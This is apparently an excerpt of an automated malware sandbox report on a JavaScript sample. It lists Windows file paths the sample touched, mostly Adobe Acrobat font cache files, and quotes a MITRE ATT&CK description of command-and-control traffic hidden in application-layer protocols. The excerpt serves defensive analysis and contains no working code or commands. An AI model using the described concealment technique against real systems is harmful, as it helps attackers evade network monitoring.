C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.380

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.380

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Windows Analysis Report
201672639780846903.js

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre